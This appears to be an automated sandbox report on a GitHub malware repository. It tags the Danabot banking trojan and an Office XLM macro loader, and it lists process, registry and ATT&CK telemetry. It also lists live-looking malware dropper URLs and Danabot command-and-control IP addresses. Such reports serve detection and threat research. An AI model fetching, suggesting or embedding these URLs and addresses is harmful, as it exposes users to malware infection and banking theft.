danabot | hxxps://github[.]com/Da2dalus/The-MALWARE-Repo

Resubmissions

17-01-2025 00:09

250117-afkm7swnek 10

17-01-2025 00:03

250117-acf6lsvqbw 8

17-01-2025 00:00

250117-aae6javpes 10

Analysis

max time kernel
300s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17-01-2025 00:09

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/Da2dalus/The-MALWARE-Repo

Score

10^/10

danabot aspackv2 banker botnet discovery macro trojan xlm

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://blockchainjoblist.com/wp-admin/014080/

exe.dropper

https://womenempowermentpakistan.com/wp-admin/paba5q52/

exe.dropper

https://atnimanvilla.com/wp-content/073735/

exe.dropper

https://yeuquynhnhai.com/upload/41830/

exe.dropper

https://deepikarai.com/js/4bzs6/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://erpoweredent.at/3/zte.dll

Extracted

Family

danabot

51.178.195.151

51.222.39.81

149.255.35.125

38.68.50.179

51.77.7.204

rsa_pubkey.plain

Signatures

Danabot
Danabot is a modular banking Trojan that has been linked with other malware.
trojan banker danabot
Danabot family
danabot

Danabot x86 payload 1 IoCs

Detection of Danabot x86 payload, mapped in memory during the execution of its loader.

botnet

resource	yara_rule
behavioral1/files/0x0008000000023d26-251.dat	family_danabot

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5220	756	powershell.exe	105
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3640	3888	rundll32.exe	150

Blocklisted process makes network request 13 IoCs

flow	pid	Process
77	2028	rundll32.exe
90	2028	rundll32.exe
93	5220	powershell.exe
123	2028	rundll32.exe
125	5220	powershell.exe
128	5220	powershell.exe
136	2028	rundll32.exe
137	2028	rundll32.exe
144	2028	rundll32.exe
179	2028	rundll32.exe
191	2028	rundll32.exe
194	2028	rundll32.exe
195	2028	rundll32.exe

Downloads MZ/PE file

Suspicious Office macro 1 IoCs

Office document equipped with 4.0 macros.

macro xlm

resource	yara_rule
behavioral1/files/0x00040000000226e0-735.dat	office_xlm_macros

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x0008000000023dd9-1167.dat	aspack_v212_v242

Executes dropped EXE 4 IoCs

pid	Process
4456	DanaBot.exe
3044	ChilledWindows.exe
4612	ChilledWindows.exe
4912	Popup.exe

Loads dropped DLL 3 IoCs

pid	Process
4376	regsvr32.exe
2028	rundll32.exe
2028	rundll32.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	EXCEL.EXE
File opened (read-only)	\??\L:	ChilledWindows.exe
File opened (read-only)	\??\U:	ChilledWindows.exe
File opened (read-only)	\??\N:	ChilledWindows.exe
File opened (read-only)	\??\V:	ChilledWindows.exe
File opened (read-only)	\??\E:	ChilledWindows.exe
File opened (read-only)	\??\K:	ChilledWindows.exe
File opened (read-only)	\??\N:	ChilledWindows.exe
File opened (read-only)	\??\Q:	ChilledWindows.exe
File opened (read-only)	\??\A:	ChilledWindows.exe
File opened (read-only)	\??\T:	ChilledWindows.exe
File opened (read-only)	\??\Y:	ChilledWindows.exe
File opened (read-only)	\??\J:	ChilledWindows.exe
File opened (read-only)	\??\G:	EXCEL.EXE
File opened (read-only)	\??\R:	EXCEL.EXE
File opened (read-only)	\??\Y:	EXCEL.EXE
File opened (read-only)	\??\Q:	ChilledWindows.exe
File opened (read-only)	\??\R:	ChilledWindows.exe
File opened (read-only)	\??\S:	ChilledWindows.exe
File opened (read-only)	\??\V:	ChilledWindows.exe
File opened (read-only)	\??\K:	EXCEL.EXE
File opened (read-only)	\??\P:	EXCEL.EXE
File opened (read-only)	\??\Q:	EXCEL.EXE
File opened (read-only)	\??\V:	EXCEL.EXE
File opened (read-only)	\??\O:	ChilledWindows.exe
File opened (read-only)	\??\P:	ChilledWindows.exe
File opened (read-only)	\??\R:	ChilledWindows.exe
File opened (read-only)	\??\X:	ChilledWindows.exe
File opened (read-only)	\??\B:	ChilledWindows.exe
File opened (read-only)	\??\I:	ChilledWindows.exe
File opened (read-only)	\??\W:	ChilledWindows.exe
File opened (read-only)	\??\O:	EXCEL.EXE
File opened (read-only)	\??\Z:	EXCEL.EXE
File opened (read-only)	\??\K:	ChilledWindows.exe
File opened (read-only)	\??\M:	EXCEL.EXE
File opened (read-only)	\??\W:	EXCEL.EXE
File opened (read-only)	\??\I:	ChilledWindows.exe
File opened (read-only)	\??\L:	ChilledWindows.exe
File opened (read-only)	\??\E:	EXCEL.EXE
File opened (read-only)	\??\X:	EXCEL.EXE
File opened (read-only)	\??\B:	ChilledWindows.exe
File opened (read-only)	\??\Y:	ChilledWindows.exe
File opened (read-only)	\??\Z:	ChilledWindows.exe
File opened (read-only)	\??\H:	EXCEL.EXE
File opened (read-only)	\??\S:	ChilledWindows.exe
File opened (read-only)	\??\A:	ChilledWindows.exe
File opened (read-only)	\??\M:	ChilledWindows.exe
File opened (read-only)	\??\X:	ChilledWindows.exe
File opened (read-only)	\??\J:	EXCEL.EXE
File opened (read-only)	\??\U:	EXCEL.EXE
File opened (read-only)	\??\O:	ChilledWindows.exe
File opened (read-only)	\??\Z:	ChilledWindows.exe
File opened (read-only)	\??\P:	ChilledWindows.exe
File opened (read-only)	\??\U:	ChilledWindows.exe
File opened (read-only)	\??\W:	ChilledWindows.exe
File opened (read-only)	\??\A:	EXCEL.EXE
File opened (read-only)	\??\G:	ChilledWindows.exe
File opened (read-only)	\??\I:	EXCEL.EXE
File opened (read-only)	\??\T:	EXCEL.EXE
File opened (read-only)	\??\J:	ChilledWindows.exe
File opened (read-only)	\??\H:	ChilledWindows.exe
File opened (read-only)	\??\M:	ChilledWindows.exe
File opened (read-only)	\??\G:	ChilledWindows.exe
File opened (read-only)	\??\E:	ChilledWindows.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
61	raw.githubusercontent.com
62	raw.githubusercontent.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2464	4456	WerFault.exe	120

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Popup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DanaBot.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies registry class 28 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlgLegacy	Popup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	Popup.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-493223053-2004649691-1575712786-1000\{9D44CD2E-CBE1-4BA1-8B70-FA306FD9E609}	ChilledWindows.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	Popup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	Popup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Downloads"	Popup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Pictures"	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}	Popup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Popup.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-493223053-2004649691-1575712786-1000\{C5570FF4-C9C5-40EE-A9A7-2A4FB89062EF}	ChilledWindows.exe

NTFS ADS 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 322844.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 501310.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 113128.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 496099.crdownload:SmartScreen	msedge.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4288	WINWORD.EXE
4288	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
4144	msedge.exe
4144	msedge.exe
3472	msedge.exe
3472	msedge.exe
728	identity_helper.exe
728	identity_helper.exe
2112	msedge.exe
2112	msedge.exe
2992	msedge.exe
2992	msedge.exe
5220	powershell.exe
5220	powershell.exe
5220	powershell.exe
5792	msedge.exe
5792	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
5296	msedge.exe
5296	msedge.exe
3968	msedge.exe
3968	msedge.exe
3020	msedge.exe
3020	msedge.exe
3188	msedge.exe
3188	msedge.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4912	Popup.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 19 IoCs

pid	Process
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	5220	powershell.exe
Token: SeShutdownPrivilege	3044	ChilledWindows.exe
Token: SeCreatePagefilePrivilege	3044	ChilledWindows.exe
Token: 33	2684	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2684	AUDIODG.EXE
Token: SeShutdownPrivilege	3044	ChilledWindows.exe
Token: SeCreatePagefilePrivilege	3044	ChilledWindows.exe
Token: SeShutdownPrivilege	3044	ChilledWindows.exe
Token: SeCreatePagefilePrivilege	3044	ChilledWindows.exe
Token: SeShutdownPrivilege	4612	ChilledWindows.exe
Token: SeCreatePagefilePrivilege	4612	ChilledWindows.exe
Token: SeShutdownPrivilege	4612	ChilledWindows.exe
Token: SeCreatePagefilePrivilege	4612	ChilledWindows.exe
Token: SeShutdownPrivilege	4612	ChilledWindows.exe
Token: SeCreatePagefilePrivilege	4612	ChilledWindows.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
4288	WINWORD.EXE
4288	WINWORD.EXE
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe

Suspicious use of SendNotifyMessage 40 IoCs

pid	Process
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe
3472	msedge.exe

Suspicious use of SetWindowsHookEx 43 IoCs

pid	Process
4288	WINWORD.EXE
4288	WINWORD.EXE
4288	WINWORD.EXE
4288	WINWORD.EXE
4288	WINWORD.EXE
4288	WINWORD.EXE
4288	WINWORD.EXE
4288	WINWORD.EXE
4288	WINWORD.EXE
4288	WINWORD.EXE
4288	WINWORD.EXE
4288	WINWORD.EXE
4288	WINWORD.EXE
4288	WINWORD.EXE
4288	WINWORD.EXE
4288	WINWORD.EXE
4288	WINWORD.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
4288	WINWORD.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
3888	EXCEL.EXE
4912	Popup.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3472 wrote to memory of 1484	3472	msedge.exe	83
PID 3472 wrote to memory of 1484	3472	msedge.exe	83
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 3048	3472	msedge.exe	84
PID 3472 wrote to memory of 4144	3472	msedge.exe	85
PID 3472 wrote to memory of 4144	3472	msedge.exe	85
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86
PID 3472 wrote to memory of 1396	3472	msedge.exe	86

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://github.com/Da2dalus/The-MALWARE-Repo
1⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffebf1b46f8,0x7ffebf1b4708,0x7ffebf1b4718
  2⤵
  PID:1484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2152 /prefetch:2
  2⤵
  PID:3048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2680 /prefetch:8
  2⤵
  PID:1396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
  2⤵
  PID:448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
  2⤵
  PID:2764
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5612 /prefetch:8
  2⤵
  PID:4892
